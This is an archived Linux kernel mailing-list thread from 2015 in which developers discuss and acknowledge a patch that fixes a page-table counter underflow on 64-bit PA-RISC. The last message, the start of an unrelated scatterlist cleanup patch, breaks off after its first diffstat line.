The question is if it is better to use pmd_preallocated, or pass the 
pointer to the mm to pgd_clear (that would affect all architectures).

Mikulas

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 18:53:13 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20150318165313.GB5822@node.dhcp.inet.fi>
References: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com>
 <20150318161246.GA5822@node.dhcp.inet.fi>
 <alpine.LRH.2.02.1503181219001.6223@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426697618 10813 80.91.229.3 (18 Mar 2015 16:53:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 16:53:38 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org,
	jejb@parisc-linux.org, dave.anglin@bell.net
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 18 17:53:22 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YYHDd-0005DK-V2
	for glkm-linux-mm-2@m.gmane.org; Wed, 18 Mar 2015 17:53:22 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 650F16B0038; Wed, 18 Mar 2015 12:53:20 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 626F96B006C; Wed, 18 Mar 2015 12:53:20 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 53CCB6B0073; Wed, 18 Mar 2015 12:53:20 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f182.google.com (mail-wi0-f182.google.com [209.85.212.182])
	by kanga.kvack.org (Postfix) with ESMTP id 0C0B16B0038
	for <linux-mm@kvack.org>; Wed, 18 Mar 2015 12:53:20 -0400 (EDT)
Original-Received: by wibg7 with SMTP id g7so95498472wib.1
        for <linux-mm@kvack.org>; Wed, 18 Mar 2015 09:53:19 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=dMPiqYPk1qb3W19CNQnvELMkCRd/vDKOk2u06/EgFwU=;
        b=abYAqssgcIX/tevdf7d5r4qZTT7QA+h2S+drqIPIYuM7HizO/4oiOgETslJmOkJ7rz
         O7zllP9hcRe5g0Lvuvqj/Rpze/9MdUaEiSA8YIB4rGw4GThQZW0HeA0nedfWv2qNl5LE
         nvUiSRiKl7eFVyMJZUFAm1wWToZbaLM+LOh7K21+MQCmoC+w8VI/odTP+zLELKYXgfHz
         XX1/+gg8GJntlyR+ARwLGjJOoH9HbM4gCkGa+5DqWAj//PISzCia430NcMt1gmtJ6um+
         d+RyBxANzuW2NjOOGMI1SZm1s4ZUrXRUvNKpXTeV/cxnETmUtzlfhaoUtqMhY54B8QFx
         zoLw==
X-Gm-Message-State: ALoCoQkQkBV0iBRj3LNIANR08j4bW88urrvE5AeAqVThtgSMC5SEhhnsMuRr8Nccx1IDmjNDIe0CBh+ejT2u+JaB9YxL8aH9wp4kqwfVbHvkjKHyNjVFTUP1Is/PUvne8FGhFxRJ9muIaY8BeHWOsR/byAXv7fJzRVMEj+vpmTWyetWbTTkCrmBHV1rMHITdvz0/kVO6YK9+
X-Received: by 10.180.207.6 with SMTP id ls6mr8684962wic.13.1426697599590;
        Wed, 18 Mar 2015 09:53:19 -0700 (PDT)
X-Received: by 10.180.207.6 with SMTP id ls6mr8684843wic.13.1426697598697;
        Wed, 18 Mar 2015 09:53:18 -0700 (PDT)
Original-Received: from kirsi1.inet.fi (mta-out1.inet.fi. [62.71.2.195])
        by mx.google.com with ESMTP id pi10si4594442wic.66.2015.03.18.09.53.17
        for <linux-mm@kvack.org>;
        Wed, 18 Mar 2015 09:53:18 -0700 (PDT)
Received-SPF: neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.195;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by kirsi1.inet.fi (8.5.142.08)
        id 54F8AF190182C1B7; Wed, 18 Mar 2015 18:53:16 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 9666C41393; Wed, 18 Mar 2015 18:53:13 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1426697593;
	bh=3yeS9AVYe1TK9m9Gcy1ynVJM0ajPVcAlU62SBUVGUZQ=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=hyW83V+XnSWJ/TeVgKyYY6LknBYEJ1Al8xDcV9+yAbtLoXJpXn74qgX7y4d2z0ppm
	 eT5KA9Z6Ae2Hwqc3QjzBo0XRi6CqcScA5rkauf8uzK58yHef8kQUZvytT4dnCfpesb
	 zXD76rR3Ozm4qOOPfKI0vW2Rb3YJ65w0cGDTEZdA=
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1503181219001.6223@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:130049 gmane.linux.ports.parisc:25669
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/130049>

On Wed, Mar 18, 2015 at 12:25:11PM -0400, Mikulas Patocka wrote:
> 
> 
> On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:
> 
> > On Wed, Mar 18, 2015 at 11:16:42AM -0400, Mikulas Patocka wrote:
> > > Hi
> > > 
> > > Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
> > > freeing mm: -1" errors on 64-bit PA-RISC kernel.
> > > 
> > > I think the patch posted here 
> > > http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
> > > wouldn't work if the affected address range is freed and allocated 
> > > multiple times.
> > > 	- 1. alloc pgd with built-in pmd, the count of pmds is 1
> > > 	- 2. free the range covered by the built-in pmd, the count of pmds 
> > > 		is 0, but the built-in pmd is still present
> > 
> > Hm. Okay. I didn't realize you have special case in pmd_clear() for these
> > pmds.
> > 
> > What about adding mm_inc_nr_pmds() in pmd_clear() for PxD_FLAG_ATTACHED
> > to compensate mm_dec_nr_pmds() in free_pmd_range()?
> 
> pmd_clear clears one entry in the pmd, it wouldn't work. You need to add 
> it to pgd_clear. That clears the pointer to the pmd (and does nothing if 
> it is asked to clear the pointer to the preallocated pmd). But pgd_clear 
> doesn't receive the pointer to mm.

I meant pmd_free(), not pmd_clear(). This should work fine.

> 
> > I don't like pmd_preallocated() in generic code. It's too specific to
> > parisc.
> 
> The question is if it is better to use pmd_preallocated, or pass the 
> pointer to the mm to pgd_clear (that would affect all architectures).
> 
> Mikulas

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: [PATCH v2] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 13:42:38 -0400 (EDT)
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1503181328450.17058@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com> <20150318161246.GA5822@node.dhcp.inet.fi> <alpine.LRH.2.02.1503181219001.6223@file01.intranet.prod.int.rdu2.redhat.com> <20150318165313.GB5822@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1426700610 30879 80.91.229.3 (18 Mar 2015 17:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 17:43:30 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org,
	jejb@parisc-linux.org, dave.anglin@bell.net
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 18:43:25 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YYI02-0006Gm-W0
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Mar 2015 18:43:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756698AbbCRRnV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2015 13:43:21 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:50079 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756610AbbCRRnT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2015 13:43:19 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t2IHgdZO003287
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Wed, 18 Mar 2015 13:42:40 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IHgdZn003124
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 18 Mar 2015 13:42:39 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IHgcEm024147;
	Wed, 18 Mar 2015 13:42:38 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id t2IHgcGV024143;
	Wed, 18 Mar 2015 13:42:38 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20150318165313.GB5822@node.dhcp.inet.fi>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25670 gmane.linux.kernel.mm:130051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25670>



On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:

> On Wed, Mar 18, 2015 at 12:25:11PM -0400, Mikulas Patocka wrote:
> > 
> > 
> > On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:
> > 
> > > On Wed, Mar 18, 2015 at 11:16:42AM -0400, Mikulas Patocka wrote:
> > > > Hi
> > > > 
> > > > Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
> > > > freeing mm: -1" errors on 64-bit PA-RISC kernel.
> > > > 
> > > > I think the patch posted here 
> > > > http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
> > > > wouldn't work if the affected address range is freed and allocated 
> > > > multiple times.
> > > > 	- 1. alloc pgd with built-in pmd, the count of pmds is 1
> > > > 	- 2. free the range covered by the built-in pmd, the count of pmds 
> > > > 		is 0, but the built-in pmd is still present
> > > 
> > > Hm. Okay. I didn't realize you have special case in pmd_clear() for these
> > > pmds.
> > > 
> > > What about adding mm_inc_nr_pmds() in pmd_clear() for PxD_FLAG_ATTACHED
> > > to compensate mm_dec_nr_pmds() in free_pmd_range()?
> > 
> > pmd_clear clears one entry in the pmd, it wouldn't work. You need to add 
> > it to pgd_clear. That clears the pointer to the pmd (and does nothing if 
> > it is asked to clear the pointer to the preallocated pmd). But pgd_clear 
> > doesn't receive the pointer to mm.
> 
> I meant pmd_free(), not pmd_clear(). This should work fine.

OK, here is the updated patch.


From: Mikulas Patocka <mpatocka@redhat.com>

The patch dc6c9a35b66b520cf67e05d8ca60ebecad3b0479 that counts pmds
allocated for a process introduced a bug on 64-bit PA-RISC kernels.

The PA-RISC architecture preallocates one pmd with each pgd. This
preallocated pmd can never be freed - pmd_free does nothing when it is
called with this pmd. When the kernel attempts to free this preallocated
pmd, it decreases the count of allocated pmds. The result is that the
counter underflows and this error is reported.

This patch fixes the bug by artifically incrementing the counter in
pmd_free when the kernel tries to free the preallocated pmd.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 arch/parisc/include/asm/pgalloc.h |    9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

Index: linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h
===================================================================
--- linux-4.0-rc4.orig/arch/parisc/include/asm/pgalloc.h	2015-03-18 18:02:16.000000000 +0100
+++ linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h	2015-03-18 18:03:26.000000000 +0100
@@ -74,8 +74,13 @@ static inline void pmd_free(struct mm_st
 {
 #ifdef CONFIG_64BIT
 	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
-		/* This is the permanent pmd attached to the pgd;
-		 * cannot free it */
+		/*
+		 * This is the permanent pmd attached to the pgd;
+		 * cannot free it.
+		 * Increment the counter to compensate for the decrement
+		 * done by generic mm code.
+		 */
+		mm_inc_nr_pmds(mm);
 		return;
 #endif
 	free_pages((unsigned long)pmd, PMD_ORDER);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 20:54:48 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <20150318185448.GA6493@node.dhcp.inet.fi>
References: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com>
 <20150318161246.GA5822@node.dhcp.inet.fi>
 <alpine.LRH.2.02.1503181219001.6223@file01.intranet.prod.int.rdu2.redhat.com>
 <20150318165313.GB5822@node.dhcp.inet.fi>
 <alpine.LRH.2.02.1503181328450.17058@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426704915 6342 80.91.229.3 (18 Mar 2015 18:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 18:55:15 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org,
	jejb@parisc-linux.org, dave.anglin@bell.net
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 18 19:55:02 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YYJ7N-0000Zt-TS
	for glkm-linux-mm-2@m.gmane.org; Wed, 18 Mar 2015 19:55:02 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5BFC46B0038; Wed, 18 Mar 2015 14:54:55 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 548EC6B006C; Wed, 18 Mar 2015 14:54:55 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3EB186B006E; Wed, 18 Mar 2015 14:54:55 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-we0-f178.google.com (mail-we0-f178.google.com [74.125.82.178])
	by kanga.kvack.org (Postfix) with ESMTP id 057416B0038
	for <linux-mm@kvack.org>; Wed, 18 Mar 2015 14:54:55 -0400 (EDT)
Original-Received: by wetk59 with SMTP id k59so39681553wet.3
        for <linux-mm@kvack.org>; Wed, 18 Mar 2015 11:54:54 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=zyJtX9Pf2saCW48m5dSYDJTPM7CtJpCb/+934cF0tRo=;
        b=O/cEdCP8DBw79XAge9/Ai3evuSqxDfweFesi1nrtmY8BehskjXBwLGrS0ISwQ3iySP
         cPRMqeJxheZxxlQk6SDA2A7ZKV1+MlX86Cc2ErHQmbssiWRn+hPullnFT9pHeFfsi6Ai
         tRFVUK9hCnVUP17mDsP4Y2SzRkKWBDO303fhfi39h3JdEUgwv0fIa7zMebU7zzPAaSMN
         KCUAYzi/mNMW3El2Uwg7tUGn9Zo4ZqZJH5LbX/lnfpJvktJOdEu6acQSdsBFDgsjREoZ
         06x8RcwRVp+z2KoA6RsVIyuwoAqeiCSNXL1dT7LM7/Jnw1aZG3+OCyWG9aYrX9GfFfeR
         Ehtw==
X-Gm-Message-State: ALoCoQm8GG6uN6Q2NLtfIb0d1uAezKnyyzFp+4rfp0x6tmyAMvKjGPXEjOS7IgOXzxsDYhW0UJqDWySHB98G2w+NUOLMFuYeZUn/sApgSJUzTCtOXzoFEjhWCVUGqBk22a11RGcvh+uZ2a3Sax344fTwzAtdlWN2TvWAjxpioR5qVPMw175UJcPdk5gbu1UjJE9uWWGjD1Tg
X-Received: by 10.180.208.107 with SMTP id md11mr9816967wic.10.1426704894413;
        Wed, 18 Mar 2015 11:54:54 -0700 (PDT)
X-Received: by 10.180.208.107 with SMTP id md11mr9816849wic.10.1426704893513;
        Wed, 18 Mar 2015 11:54:53 -0700 (PDT)
Original-Received: from kirsi1.inet.fi (mta-out1.inet.fi. [62.71.2.203])
        by mx.google.com with ESMTP id hd7si30468418wjc.67.2015.03.18.11.54.52
        for <linux-mm@kvack.org>;
        Wed, 18 Mar 2015 11:54:53 -0700 (PDT)
Received-SPF: neutral (google.com: 62.71.2.203 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.203;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.203 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by kirsi1.inet.fi (8.5.142.08)
        id 54F8AF1901855651; Wed, 18 Mar 2015 20:54:51 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id A831941393; Wed, 18 Mar 2015 20:54:48 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1426704888;
	bh=ShFPocBM2qUWIgbJVYjOZpEnLrSaxrWMgvXk1nB67JU=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=cSSqsQTMDTAwUf0A6FwfK/Ok6YeuD/Tw0k+ndUkgiXbZVYTvlqXkqks7DJS93bSyh
	 YEcAaSkJ3WOr3QNZ7NG2hLOvYQmo6aYD28RsM96TBqC9/mlFpmvbdmzAroQo4N9hs3
	 O9Aw1REXC7/YdhTbz6E1egwkHdPEb7FgmtH/FZBM=
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1503181328450.17058@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:130053 gmane.linux.ports.parisc:25671
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/130053>

On Wed, Mar 18, 2015 at 01:42:38PM -0400, Mikulas Patocka wrote:
> 
> 
> On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:
> 
> > On Wed, Mar 18, 2015 at 12:25:11PM -0400, Mikulas Patocka wrote:
> > > 
> > > 
> > > On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:
> > > 
> > > > On Wed, Mar 18, 2015 at 11:16:42AM -0400, Mikulas Patocka wrote:
> > > > > Hi
> > > > > 
> > > > > Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
> > > > > freeing mm: -1" errors on 64-bit PA-RISC kernel.
> > > > > 
> > > > > I think the patch posted here 
> > > > > http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
> > > > > wouldn't work if the affected address range is freed and allocated 
> > > > > multiple times.
> > > > > 	- 1. alloc pgd with built-in pmd, the count of pmds is 1
> > > > > 	- 2. free the range covered by the built-in pmd, the count of pmds 
> > > > > 		is 0, but the built-in pmd is still present
> > > > 
> > > > Hm. Okay. I didn't realize you have special case in pmd_clear() for these
> > > > pmds.
> > > > 
> > > > What about adding mm_inc_nr_pmds() in pmd_clear() for PxD_FLAG_ATTACHED
> > > > to compensate mm_dec_nr_pmds() in free_pmd_range()?
> > > 
> > > pmd_clear clears one entry in the pmd, it wouldn't work. You need to add 
> > > it to pgd_clear. That clears the pointer to the pmd (and does nothing if 
> > > it is asked to clear the pointer to the preallocated pmd). But pgd_clear 
> > > doesn't receive the pointer to mm.
> > 
> > I meant pmd_free(), not pmd_clear(). This should work fine.
> 
> OK, here is the updated patch.
> 
> 
> From: Mikulas Patocka <mpatocka@redhat.com>
> 
> The patch dc6c9a35b66b520cf67e05d8ca60ebecad3b0479 that counts pmds
> allocated for a process introduced a bug on 64-bit PA-RISC kernels.
> 
> The PA-RISC architecture preallocates one pmd with each pgd. This
> preallocated pmd can never be freed - pmd_free does nothing when it is
> called with this pmd. When the kernel attempts to free this preallocated
> pmd, it decreases the count of allocated pmds. The result is that the
> counter underflows and this error is reported.
> 
> This patch fixes the bug by artifically incrementing the counter in
> pmd_free when the kernel tries to free the preallocated pmd.
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>

> ---
>  arch/parisc/include/asm/pgalloc.h |    9 +++++++--
>  1 file changed, 7 insertions(+), 2 deletions(-)
> 
> Index: linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h
> ===================================================================
> --- linux-4.0-rc4.orig/arch/parisc/include/asm/pgalloc.h	2015-03-18 18:02:16.000000000 +0100
> +++ linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h	2015-03-18 18:03:26.000000000 +0100
> @@ -74,8 +74,13 @@ static inline void pmd_free(struct mm_st
>  {
>  #ifdef CONFIG_64BIT
>  	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
> -		/* This is the permanent pmd attached to the pgd;
> -		 * cannot free it */
> +		/*
> +		 * This is the permanent pmd attached to the pgd;
> +		 * cannot free it.
> +		 * Increment the counter to compensate for the decrement
> +		 * done by generic mm code.
> +		 */
> +		mm_inc_nr_pmds(mm);
>  		return;
>  #endif
>  	free_pages((unsigned long)pmd, PMD_ORDER);
> 
> --
> To unsubscribe, send a message with 'unsubscribe linux-mm' in
> the body to majordomo@kvack.org.  For more info on Linux MM,
> see: http://www.linux-mm.org/ .
> Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew.r.wilcox@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Eliminate sg_virt_addr() and private scatterlist.h
Date: Fri, 20 Mar 2015 13:37:59 -0400
Lines: 242
Approved: news@gmane.org
Message-ID: <1426873079-32288-1-git-send-email-matthew.r.wilcox@intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1426873100 15144 80.91.229.3 (20 Mar 2015 17:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Mar 2015 17:38:20 +0000 (UTC)
Cc: Matthew Wilcox <willy@linux.intel.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 20 18:38:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YZ0sA-0002sg-PR
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Mar 2015 18:38:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751713AbbCTRiJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Mar 2015 13:38:09 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:52698 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751665AbbCTRiH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Mar 2015 13:38:07 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga102.fm.intel.com with ESMTP; 20 Mar 2015 10:38:07 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.11,438,1422950400"; 
   d="scan'208";a="695287431"
Original-Received: from bkommand-mobl2.amr.corp.intel.com (HELO thog.int.wil.cx) ([10.254.105.201])
  by fmsmga002.fm.intel.com with SMTP; 20 Mar 2015 10:38:05 -0700
Original-Received: by thog.int.wil.cx (Postfix, from userid 1000)
	id 153D15F7AC; Fri, 20 Mar 2015 13:38:05 -0400 (EDT)
X-Mailer: git-send-email 2.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25672>

From: Matthew Wilcox <willy@linux.intel.com>

The only reason to keep parisc's private asm/scatterlist.h was that it
had the macro sg_virt_addr().  Convert all callers to use something else
(sometimes just sg->offset was enough, others should use sg_virt()), and
we can just use the asm-generic scatterlist.h instead.

Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
---

I haven't even compile-tested these changes ... I do have some PA-RISC
equipment, but it hasn't been turned on in seven years.

 arch/parisc/include/asm/Kbuild        |  1 +
